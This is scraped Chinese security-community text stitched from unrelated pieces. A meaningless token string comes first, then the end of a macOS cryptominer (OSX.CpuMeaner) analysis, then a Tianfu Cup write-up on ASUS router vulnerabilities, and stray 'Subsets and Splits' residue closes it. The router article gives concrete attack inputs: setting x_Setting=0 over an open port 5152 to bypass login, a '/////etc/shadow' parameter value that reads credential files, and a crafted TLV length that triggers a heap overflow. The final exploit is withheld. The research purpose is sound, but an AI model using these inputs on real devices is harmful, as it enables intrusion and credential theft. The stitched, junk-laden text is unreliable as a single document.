49dP6YfhFHmLWb16jESv8V977cYzbx8zCXz6A7gUh1sn65jQ1eQgUpG9qCs2mfNhVW9Jm86RQpDGTHxokFnutubU6HQCeuN.34c5cb2b877d296b3fcfd9c6fb9a5da0c42b044e7fd52372ae5b6cd9bbe6c5c8.
标记为 _mosxnp_ 的变种会连接到[Nanopool XMR矿池](https://xmr.nanopool.org/)来挖矿。
新变种通过`Postback::sendPostback()`函数将安装数据发送至`storekit.xyz`主机上的`/api/v1/pb.php`页面，使用的User-Agent为`MNR2`。
##
## 六、VirusTotal上的样本
2017年中旬，有人将标记为[
_mosx3_](https://www.virustotal.com/file/f9ccfaf965f9b06f3e06b1112e30cc2be97fca76db001f901b4ab0cc28cd44d4/analysis/1510909946/)以及[
_mosxnp_](https://www.virustotal.com/file/fa5ab22307e9539e955a49abf225263fadc7b3f129696c7bc665353bf4650e60/analysis/1510871215/)的软件包上传到VirusTotal上进行检测。
这些软件包中包含的可执行程序（`cpulite`及`mosxnp`）都是MNR2变种，但所使用的`postinstall`脚本略有不同。
程序并没有[静态链接](https://github.com/xmrig/xmrig/wiki/OS-X-Build)XMRig的依赖项（[libuv](http://libuv.org/)以及[libmicrohttpd](https://www.gnu.org/software/libmicrohttpd/)），只导入了所需的符号。由于目标主机上经常缺乏程序所需的动态链接库（[Homebrew](https://brew.sh/)路径），因此这些程序会在启动时崩溃：
$ otool -L mosxnp
mosxnp:
/usr/local/opt/libuv/lib/libuv.1.dylib (compatibility version 2.0.0, current version 2.0.0)
/usr/local/opt/libmicrohttpd/lib/libmicrohttpd.12.dylib (compatibility version 56.0.0, current version 56.0.0)
/usr/lib/libc++.1.dylib (compatibility version 1.0.0, current version 307.4.0)
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1238.0.0)
$ ./mosxnp
dyld: Library not loaded: /usr/local/opt/libuv/lib/libuv.1.dylib
Referenced from: /Library/Application Support/mosxnp/./mosxnp
Reason: image not found
Abort trap: 6
##
## 七、总结
这款OSX.CpuMeaner木马是新型挖矿攻击大军中的一员，现在新型挖矿攻击的规模日益膨胀，我们可以在Android、PC、Linux服务器上看到挖矿攻击活动的身影，甚至Chrome浏览器上也存在CoinHive这种挖矿脚本。事实上，攻击者一直在寻找通过恶意软件感染来谋取利益的方式，虽然挖矿恶意软件并不属于传统的攻击方式（如窃取密码及其他敏感信息、远程控制设备等），但这种攻击方式回报丰厚，只需使用CPU以及少量网络通信就能满足攻击要求。
我们无法百分百肯定这类攻击活动会一直处于活跃状态，但只要整个市场持续膨胀，人们发现投资类似门罗币（Monero）、达世币（DASH）之类的加密货币能获得极高的回报率（ROI），那么这类攻击事件也会持续涌现，源远流长。 | 社区文章 |
**作者：Yimi Hu & Light @胖猴实验室
原文链接：<https://mp.weixin.qq.com/s/k1ouK1Gyxpped0ZK4H4h7g>**
## 1、前言
2021年7月中旬，天府杯正式公布今年的比赛题目，笔者也有幸参与了今年的天府杯比赛。按照PwnMonkey &
DC0086公众号的技术方向，我们打算来聊一聊其中关于IoT设备的项目。本次天府杯一共有2个IoT设备作为攻击目标，其一是华硕路由器；其二是群晖NAS。
在这两个设备中，群晖NAS咱们就先放一放，因为天府杯上这个设备并没有被打下来；而华硕路由器可以拿来好好说一说。在华硕路由器被宣布为天府杯比赛项目之后，华硕做了2次更新，每次更新都会导致一群小伙伴呜呼哀哉，但是最终还是没有拦住优秀的攻击者。那么，在后文中，我们就一起来看看华硕路由器这个设备以及华硕官方的两次围剿。
PS：由于太久没有更新文章，排版技能生疏，导致昨天的文章格式稀烂，所以今天调整之后重新发了一遍，抱歉给各位同学带来了不好的体验。
## 2、设备摘要
相比于我们此前讨论过的各个设备，华硕路由器不用花太多时间在固件获取上，因为设备自带了telnetd，只需要在web管理页面设置一下，就可以直接使用telnet登陆设备，将需要分析的文件拿回本地。我们选用的路由器型号为RT_AX56U_V2，固件版本为3.0.0.4.386.42844，后文中也是以此型号和版本展开叙述。
在登陆设备之后，我们可以简单浏览一下端口监听情况，用以帮助我们选择目标进程，将端口监听情况做一点点整理和筛选，我们发现有以下几个进程可能会出现问题：
图2-1 端口监听情况
上图被筛选出的5个进程分别是envrams、wanduck、cfg_server、httpd和infosvr，其他进程或者是第三方开源程序或者是仅监听了127.0.0.1端口。第三方开源程序维护者众多，在其中发现漏洞可能并没有那么容易；而仅监听本地端口的程序即便有漏洞也无法直接利用，所以把优先级放低一些。事实上，本文要提到的3个漏洞也的确出自这几个进程。
此外，由于华硕路由器的固件是遵守GPL协议的，所以我们可以在网上找到一些相关的代码，虽然我们没找到最新版的代码，但是以往代码同样很具备参考价值，其中梅林固件的代码很具备参考价值，链接如下<https://github.com/RMerl/asuswrt-merlin.ng>。在我们逆向过程不太顺利时，可以参考一下这里的代码。
## 3、第一次围剿
华硕官方在8月26日，更新了一个版本，除了修复大量已有CVE编号的漏洞之外，还修复了一个envrams暴露的问题，如下图：
图3-1 华硕官方第一次围剿
上图中，红框部分即是导致大家呜呼哀哉的更新内容，我们来深入看一下。
如果用IDA分析过httpd或者cfg_server等程序，那么一定会发现华硕路由器的经常会调用nvram_开头的多个函数，如下图：
图3-2 以nvram_开头的函数
这些以nvram_开头的函数，绝大部分是和设备的各种配置相关，其中set是保存或更新配置、get是获取配置。如果一直深入挖掘nvram_系列的函数，会发现最终会执行到和内核通信的socket，猜测华硕设备应该是通过这种方法提高了配置访问速度，并解决了同一个配置可能存在多个地方以及更新不同步的问题。
而我们将要讨论的envrams就是提供了一个获取和更新配置的接口。通过简单的逆向，就可以看到envrams监听了tcp5152端口，支持show、get、set、commit、rall等指令。原则上，envrams仅能获取和更新/mnt/nvram/nvram.nvm中的配置信息，见下图：
图3-3 程序envrams可以获取和更新的配置信息
该文件中的部分配置信息如下图所示：
图3-4 nvram.nvm中的配置信息
看起来，并没有什么值得一提的配置。实际上，我们可以在nvram.nvm中写入其他进程使用的配置信息，这样一来，设备在重启之后，nvram.nvm中的配置信息就会被加载到内核中，由于nvram.nvm的加载时机比较晚，所以会覆盖更新已有配置。举例来说，我在envrams中将x_Setting的值设置为0，如下图：
图3-5 在envrams配置x_Setting为0
那么设备重启之后，x_Setting的配置就被更新为0了。这意味着，设备误认为自己刚刚被恢复出厂设置，打开web管理端口不需要输入用户名和密码即可直接登陆。由此，造成了非常严重的影响。
华硕官方对这个漏洞的修复方案极其简单粗暴，给iptables增加了一条规则限制了5152端口的访问，如下图：
图3-6 华硕官方修补方案
## 4、第二次围剿
华硕官方在10月7日，又更新了一个版本，其中修复了一个信息泄露问题，如下图：
图4-1 华硕官方第二次围剿
上图中，红框部分即是导致大家呜呼哀哉的更新内容，我们来深入看一下。
此处信息泄露出现在httpd进程中，使用IDA载入httpd之后，可以在程序中找到路由表，如下图所示：
图4-2 httpd进程路由表
上表中，每六行为一个结构体，以高亮的六行为例：其中第一行为访问的url；最后一行表示是否需要登陆，0代表不需要；倒数第二行为处理函数，其中do_ej是一个小型的页面解析器。
上图中的asp和htm的页面都是可以在未登陆状态下用get请求直接访问的。但逆向看代码之后，便可知do_ej在解析过程中也能处理post请求，而且能接收一个名为current_lang的参数。顾名思义，该参数可以用于控制页面的显示语言。可以在IDA中找到关于current_lang参数的处理逻辑，如下图所示：
图4-3 current_lang参数处理逻辑
可以看到snprintf的最大长度为0x10字节，如果我们输入的长度超过0x10，那么原本的“%s.dict”就会被顶出去。例如，我们输入“/////etc/shadow”作为current_lang的值，如下图所示：
图4-4 错误current_lang参数值
那么字符串在被格式化以后，将是下图中的样子：
图4-4 错误地格式化字符串
在上图中，可以看到原本的“%s.dict”已经消失了。
如果继续执行该程序，那么/etc/shadow的内容将会通过http直接回显出来，如下图所示：
图4-4 http回显shadow文件内容
华硕官方对这个漏洞的修复方案是限制a1参数的长度和内容，如下图所示：
图4-5 华硕官方修补方案
## 5、最后一战
虽然华硕两次更新修复了很多问题，但最终还是没能阻止各位攻击者。最终的问题出现在cfg_server中，当多个华硕路由器通过AiMesh组网之后，会出现cfg_client和cfg_server之间的通信。类似httpd进程，可以在该程序中也找到多个路由表，其中一个是tcp7788端口的路由表，如下图所示：
图5-1 cfg_server进程路由表
通过IDA逆向分析之后，可以推断出tcp7788端口的通信格式为TLV（Type-Length-Value）报文格式，其中，T即路由表中的编号；V是aes加密数据内容及其crc32值。看到这里，就能顺其自然地想到如果L为不合理的值会怎样，其实漏洞就是出现在这里了。
我们可以按照下图所示的方法构造恶意的发送数据：
图5-2 恶意payload头部
上图中，我们选择第0x28号请求，将长度设置为0xFFFFFFF4，crc32值设置为0，由此绕过程序的crc32校验，见下图中R0和R3寄存器：
图5-3 绕过crc32校验
然后，在AES解密过程中，会触发整数溢出，导致malloc错误的内存大小，如下图所示：
图5-4 malloc前整数溢出
可以看到，上图中R11值为0xFFFFFFF4，而malloc长度仅仅为0x4。
接下来，由于声明的内存长度小于实际长度，就会造成堆溢出，导致AES解密数据写入后续溢出的堆内存中。接下来只要考虑怎么利用这个溢出写入，并不麻烦，如果后续内存中有个函数指针或者其他什么有用的数据可以被覆盖，我们就有了可乘之机。事实上，只要合理布局内存，就可以让后面出现一个可以利用的函数指针，而cfg_server并没有开启ASLR，所以利用过程并不复杂，我们可以这样操作：
各位，十分抱歉，这里容笔者先卖个官子，待固件完成更新修复之后，我们可以再回过头来详细讨论。不过，话说回来，都已经提示到这里了，相信各位读者只要自己分析一下也能解决这个漏洞利用
## 6、小结
本篇就先写到这里，希望耐心读到这里的各位有所收获。除了今年以外，华硕路由器还是去年天府杯的项目之一，其中漏洞也很有意思；此外，在去年8月极光无限还报了个华硕路由器未授权栈溢出漏洞，感兴趣的话可以去看看相关的信息。最后，很感谢对本文提供帮助的各位，有@Suzhang、@halo以及@tkmk等人，多谢。还有，本文中有很多结论和推测为我们个人的推测，如果不当指出，可以联系我们做更正。
* * * | 社区文章 |
Subsets and Splits